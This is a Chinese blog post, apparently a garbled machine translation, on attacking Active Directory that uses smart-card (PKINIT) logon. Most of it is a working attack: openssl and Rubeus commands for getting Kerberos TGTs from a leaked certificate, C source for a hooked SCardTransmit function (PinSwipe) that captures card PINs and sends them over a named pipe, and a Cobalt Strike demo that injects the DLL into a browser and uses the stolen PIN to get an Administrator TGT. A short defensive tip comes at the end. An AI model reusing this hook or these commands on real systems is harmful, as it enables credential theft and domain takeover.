首页 » PHP教程 » phprxspxqklcn技巧_针对基于智能卡进行认证的活动目录进击

phprxspxqklcn技巧_针对基于智能卡进行认证的活动目录进击

访客 2024-11-29 0

扫一扫用手机浏览

文章目录 [+]

当用户被设置为基于智能卡进行登录时,在它的默认配置中,域掌握器将接管任何由它所信赖的证书授权机构签署的、符合以下规范的证书:

● CRL的分配点不可为空、并且可用

phprxspxqklcn技巧_针对基于智能卡进行认证的活动目录进击

● 证书的密钥要利用数字署名

phprxspxqklcn技巧_针对基于智能卡进行认证的活动目录进击
(图片来自网络侵删)

● 增强型的密钥利用:

- 智能卡登录

- 客户端认证(可选,用于基于SSL的认证)

● 包含用户UPN的主题替代名称

此外,如果启用了许可利用无扩展密钥的证书属性组策略,那么就没必要利用增强型的密钥。
由于这可能会导致发给域用户或打算机的其他类型的证书。

下面是我们的详细的研究过程。

PKINIT

正如我们所知的,域内的活动目录会利用Kerberos协议来验证域名。
攻击者可以利用像Rubeus、Mimikatz、Kekeo和impacket这样的工具来针对域环境进行利用。

那么,基于 PKI 的认证与 Kerberos 的认证有什么关系呢?早在 2006 年,微软和航空航天公司联合提交了 RFC 4556。
这协议引入了对 Kerberos 预认证的公钥密码学的支持。

预认证方法可以防止Kerberos对账户密码进行离线暴力攻击。
如果没有在AD账户上启用预认证,那么用户就随意马虎受到AS-REP的攻击。
随着预认证的引入,那么最初的AS-REQ Kerberos要求就会包含一个加密的韶光戳。
并且这个用来加密的密钥来自于用户的密码。
这向 KDC 证明了要求登录的用户确实知道账户密码。
因此,KDC就会返回一个与用户密码干系的加密的AS-REP(对AS-REQ的相应)。
预认证数据包含的一个韶光戳也可以防止重放攻击。
如果预认证数据无效,KDC会返回一个缺点,而且也不许可对AS-REP相应密钥进行暴力破解。
如果一个攻击者能够在一个网络中抓取 Kerberos的相应数据包,那么针对AS-REP 的修正仍旧是可能的。

基于 PKI 的认证同样也因此类似的办法进行事情。
它首先会利用 Kerberos 预认证来证明用户是他们所说的那个人。
同样,它也会利用一个韶光戳,但不是利用用户的密码天生的密钥对信息进行加密,而是用属于证书的私钥以PKCS #7加密信息语法(CMS)的形式来签署信息。
该私钥可以存储于物理智能卡上,并且也可以以其他的形式进行存储,这个中也包括不那么安全的方法。
一旦KDC验证了CMS有效载荷的署名,并且统统正常,那么AS-REP就会返回给客户。
PKINIT也会对AS-REP相应进行加密。
由于在基于PKI的Kerberos登录过程中并没有利用密码,以是用户密钥对客户来说是未知的。

为理解决这个问题,AS-REP要么利用一个利用Diffie-Hellman密钥交流算法得到的密钥进行加密,要么利用初始AS-REQ要求中利用的证书公钥进行加密。
并且这个初始要求也包含了关于哪种方法是首选的详细细节。

从这里开始,其他的统统还都保持不变。
客户端将会得到一个有效的TGT,可用于申请TGS票据。
并且该证书在TGT的有效期内就不再利用,在再次须要该证书的私钥之前,一样平常会保持7天的有效期。
当然,这并不是说在Windows登录期间,私钥在7天内不会被利用。
如果机器被锁定或用户已经被注销,那么Windows会像基于密码的登录那样逼迫进行认证。
但从攻击者的角度来看,如果他们已经得到了TGT,这实在就已经不主要了。

以是这里我开始考试测验在Rubeus中添加对PKINIT的支持,并创建了一个要求。

【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

基于PKCS#12的认证(PFX)

这里我们谈论的第一个攻击场景是用户私钥透露问题。
我们可以利用一个PKCS#12证书库,我们可以利用一个用户的证书以及相应的私钥来天生一个Kerberos TGT。
一旦你有了私钥blob和相应的证书,那么你就可以利用OpenSSL来天生PKCS12存储,如下所示:

openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt

一旦你天生了一个有效的证书存储,那么我们就可以利用Rubeus中新增加的内容来要求TGT了。
如果你决定用密码来保护证书库,那么你可以在命令行中加入/password选项。

Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local

然后,Rubeus将天生一个基于PKINIT的AS-REQ,利用我们所供应的证书库来验证用户。
如果统统顺利,KDC就会返回数据包,那么你就该当会得到类似的输出:

______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0[] Action: Ask TGT[] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local[] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'[+] TGT request successful![] base64(ticket.kirbi): doIGAjCCBf6gAwIBBaEDAgEWooIFDzCCBQthggUHMIIFA6ADAgEFoQ8bDUhBQ0tMQUIuTE9DQUyiIjAg oAMCAQKhGTAXGwZrcmJ0Z3QbDWhhY2tsYWIubG9jYWyjggTFMIIEwaADAgESoQMCAQKiggSzBIIEr8LN J2NAHpBehZLNJzDYkuu9bc++eVxENl8EaLXhUi8zlChPsqrcNGpH9gruGwRefjnTUY4k+1WiBxMzt8dy XIAOVxUDhGUf/5S9V6zo/LDMN7Dhau7/W9APmSaHq1ml5fAGI+hh7v7AQdQYdIMncB8E9xY2fSX395Zm NalyS8hhZlmV0Gz3xrP/zu6m0eiqDvJpURGvvSGGXpQNqh1thwdzXur2q/F1lcnVgRQe6AiTqBBpcDx/ 4kw39tvyo7x3W1kEs3NIMT/cB8G1uMEV0EK5jy6dJIFeuVnSC3D6/qjsrP94iIpMg3X5zj3pCeGegPjB 7uqkZx9DPcxm/G8aaQIVPjyxPsCK7D5HAbdSyJQIhAAbBVSplA9homs5TyP0dRs/8F/MSU38dUufTE+M QvdJmzN/+5yaYK8iDGIVMLKyBhgw/ouMoINqQo77Z2+ENvsU6VqzMEg/72LShY9IJB5vbHWzlOv4dPyc a23xBQPgHlKF3xxsUNp4wXeEBnCU74cxgb/AQzFvktjJM1CT08n4rC8bCW8jxTDKdrgWr8QzczHWMy0q 13ddnOQfXU9ju02LdEfcW8hYzY500+NCRRtckaGNc2j1b5tOINhQnzAt1b1Gry69wbS/+Sgr9DrW92lu X0P5ldC+RfgXjunlskUbXHhT9KzIvekhXDd3JzWM+BfEdGiFJGk/NqLrAlwlCLu8Z155uOHpYWJI981L P091reVDXF4+XNaWXLnkpwSq+fGZmfrLzjbaNNLygeAB1O7K/i/yAkH7/sJa63riqPuvSdVOS1krlYpq qChRH+0pzXhIVMdLeGULCGCIfzbcwoCtWogvvVDjfdGipEae/llXqUFVxiTiafVul/YcIWcQFf34fMJu l5v/D++KdfYsV03gYQX7DehWVyf5/tpUJGJCl4cEr2K8wa5235YVthZ0FLom4VobFJVpclAOVkMHv6jp 9kIKbOMcjYQ7BKTokCL3MMrOq2L++knISUZuVH/UHevSQVYL85svd5Z10jX8hHUZRRCYD0UBlRYLZ+BM U0uf+i6dOE3fcmPKePmZgEx1UMufOk4ytsGWt7ypiIYVhNbLgkK1u8AhgeLaY2x3Xf1BYfw8DPtO/woG d/NvZmJQcy17QqAoTL+cjJDueV/FBRkDTQMm2LCTpIDIsjjRFd5et8ncuwYFVc6vNxAtCped7DPtzDjg NS4NfL6jC9T/HXyih0V/eyPYpbOw4PYl21XI9RZgmYfi+JHj4ne6l0weFjc0V880p+sHcScDa72qHGSY YiN0sODwCNkc8oPOC31qD++fBd/Al5bkctddqc9NG7ifaZHsoIQMWKGNnin4FUdK7tygEAoyQjR1rS2n qUzupHBUQhl+p2rL652b1rxBEjguvR8HqCK5/KGeOwME3zYB1kXH7tvEHivm5akTz23NSGHPSx9mNeW2 7+74n3a35TYRSK2r7D+gzuvr/cH82PzUTSOce8sCqa7oJWFot01dOxxcH+269VHWdkhe69rZ+zUgkETy 40PZaHHkXYgI0ahhsYpJf++Zs+NO2ZMV6jncqlqivn3nzu7SA+pVyC9oE+Q8yX7NYml5pyVo8/Glo4He MIHboAMCAQCigdMEgdB9gc0wgcqggccwgcQwgcGgGzAZoAMCARehEgQQ6tIiFytU5V2cgSpXt8skd6EP Gw1IQUNLTEFCLkxPQ0FMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIw MTAwMjE1MDExMlqmERgPMjAyMDEwMDMwMTAxMTJapxEYDzIwMjAxMDA5MTUwMTEyWqgPGw1IQUNLTEFC LkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1oYWNrbGFiLmxvY2Fs ServiceName : krbtgt/hacklab.local ServiceRealm : HACKLAB.LOCAL UserName : Administrator UserRealm : HACKLAB.LOCAL StartTime : 02/04/2023 16:01:12 EndTime : 03/04/2023 02:01:12 RenewTill : 09/04/2023 16:01:12 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : 6tIiFytU5V2cgSpXt8skdw==

那么由此产生的 .kirbi Base64 编码字符串也可用于从 KDC中得到正常的 TGS。

在我成功地在这个工具中利用了PKINIT之后,我开始思考我们该如何利用物理智能卡做认证。
一旦用户的机器受到攻击毁坏,那么利用智能卡进行认证最大的问题便是密码。
如果不知道PIN码,那么我们就无法天生一个有效的AS-REQ。
蛮力破解是不可行的,由于进行3次无效的考试测验,那么系统就会前辈行账号锁定。

个中的一个思路便是,当用户须要解锁智能卡时可以考试测验捕获PIN码。
这紧张用于机器解锁或者登录网络上其他须要智能卡认证的做事。

经由一番调查,我创造了WinSCard DLL。
这个DLL是与Smard Card做事通信的网关。
然后这个做事就会掌握智能卡的通信。
一样平常来说,任何与Windows上的智能卡进行通信的东西都须要利用WinSCard API。

我所研究的WinSCard.dll中最主要的函数是SCardTransmit API。
这个API是用于传输智能卡ISO/IEC 7816规范中所哀求的运用协议数据单元(APDU)的API。
这个是最底层的传输单元,紧张是用于智能卡通信。

如果我们hook这个API,那么我们该当就能够监视传送到卡上的PDU。

LONG SCardTransmit( SCARDHANDLE hCard, LPCSCARD_IO_REQUEST pioSendPci, LPCBYTE pbSendBuffer, DWORD cbSendLength, LPSCARD_IO_REQUEST pioRecvPci, LPBYTE pbRecvBuffer, LPDWORD pcbRecvLength);

pbSendBuffer参数是向卡片发送的APDU数据包,而pbRecvBuffer则是智能卡返回的相应数据。

虽然ISO智能卡规范对某些命令种别和命令数据构造做出了限定,但这些限定常日是针对某些详细运用的,而不是由ISO智能卡规范本身定义的。
并且为了知足身份访问的需求,NIST制订了个人身份验证(PIV)SP 800-73-4规范。
该规范涵盖了智能卡应如何处理注册到设备上的证书,以及实现该规范的所有APU,这个不须要太多的细节。
在PIV规范中最主要的是第3.2.1节VERIFY卡命令。
这些内容阐述了VERIFY APDU是如何在许可访问存储在卡片上的私钥之提高行PIN的验证。

因此,有了ISO规范中的信息以及PIV规范中的3.2.1节,我们该当能够写一个hook程序来捕获传送到卡上的PIN。

DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard, LPCSCARD_IO_REQUEST pioSendPci, LPCBYTE pbSendBuffer, DWORD cbSendLength, LPSCARD_IO_REQUEST pioRecvPci, LPBYTE pbRecvBuffer, LPDWORD pcbRecvLength) { char debugString[1024] = { 0 }; DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength); //Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) { //Check card response status for success bool success = false; if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) { success = true; } char asciiPin[9]; sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false", GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin)); SendPINOverPipe(debugString); } return result;}

API调用做的第一件事便是调用原始的SCardTransmit函数。
我们不仅须要研究数据要求,而且还要知道卡的相应数据。
这样我们就可以确定传送给卡片的PIN码是否精确。
然后,该函数会查找VERIFY PDU来隔离验证PIN的命令。
一旦我们确定了VERIFY PDU,那么我们就可以开始检讨结果,0x90 0x00都表示PIN被审核。
接下来,我们可以从发送缓冲区的偏移量5(PDU构造中的命令数据)的位置处提取PIN码。
末了,我们须要通过一个命名管道来传输PIN码的详细信息,然后利用数据吸收程序进行捕获。

我们可以将这一功能打包到一个DLL中,该DLL也能够进行反射性加载,那么我们可以将该DLL注入到我们所研究的进程中去。

Demo

假设在存在该漏洞的情形下,并且我已经有了一个Cobalt Strike信标连接到了受害者的事情站上。
我所利用的是管理员账户,但实在普通用户的账户也可以进行利用。
PinSwipe DLL也可以被注入到一个高权限的进程中,如lsass,当得到管理权限时,可以在登录时刷出PIN码,但利用普通用户身份进行访问时,你将会被限定在用户模式进程中,如Internet Explorer等等。

以是首先我们须要启动PinSwipeListener,这将可以dump出智能卡登录EKU的用户证书信息。

beacon> execute-assembly C:\tools\PinSwipeListener.exe[] Tasked beacon to run .NET program: PinSwipeListener.exe[+] host called home, sent: 112171 bytes[+] received output:[+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca

有了监听器,我们就须要选择将PinSwipe.dll注入到哪些进程中。
像Internet Explorer、Chrome等都是很好的选择,由于在智能卡认证的环境中,这些程序会常常弹出要求PIN的信息。
在这里,我运行的是Internet Explorer,它的PID是 2678。
实际上,IE和Chrome一样,为浏览器的各种标签都启动了不同的子进程。
以是你须要注入一个精确的进程。
同时也可以利用其他更高等的攻击脚本,不断探求新的IE进程并注入它们。

beacon> dllinject 2678 C:\tools\PinSwipe.dll[] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678

一旦用户在对话框中输入了他们的PIN码,PinSwipe就会捕获要求并通过命名管道将其发送给PinSwipeListener。

[+] received output:[+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456

PinSwipe的输出除了显示输入的PIN号码外,还将显示输入的PIN是否精确。
一旦你获取了PIN码,你就可以利用新的Rubeus功能来要求利用用户的物理智能卡进行TGT验证。
这一次,我们可以利用/certificate参数来指定所要利用的证书的文件名。

beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456[] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456[+] host called home, sent: 357691 bytes[+] received output: ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [] Action: Ask TGT[+] received output:[] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local [] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'[+] received output:[+] TGT request successful![+] received output:[] base64(ticket.kirbi): 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 ServiceName : krbtgt/hacklab.local ServiceRealm : HACKLAB.LOCAL UserName : Administrator UserRealm : HACKLAB.LOCAL StartTime : 04/04/2023 19:55:29 EndTime : 05/04/2023 05:55:29 RenewTill : 11/04/2023 19:55:29 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : 5K2V8xIaGbUS8ZYqTl120Q==

那么到此结束。
你现在已经有了一个TGT,并且可以在7天内申请新的TGS票,然后访问其他的网络资源。

当你在网络中利用物理智能卡时,最好的办法是拥有须要手动按键的卡,或者最好是生物识别阅读器。
这样一来,对用户账户进行的任何攻击都不会产生TGT数据,由于智能卡会在没有物理按键或生物识别数据存在的情形下阻挡对私钥的访问。

相关文章

Java代码虚拟化保护技术与应用前景

软件应用的需求日益增长,软件开发过程中对代码的保护成为了一个重要议题。Java作为一种广泛应用于企业级应用的编程语言,其代码虚拟化...

PHP教程 2025-03-02 阅读1 评论0

CAD插件错误代码与应对步骤

CAD(计算机辅助设计)软件在工程设计领域得到了广泛应用。CAD插件作为提升设计效率的重要工具,在提高设计师工作效率的也带来了一定...

PHP教程 2025-03-02 阅读1 评论0

上古卷轴代码规则大全游戏背后的编程奥秘

《上古卷轴》作为一款深受玩家喜爱的角色扮演游戏,自问世以来便以其丰富的世界观、独特的游戏体验和深厚的文化底蕴吸引了无数玩家。在这款...

PHP教程 2025-03-02 阅读1 评论0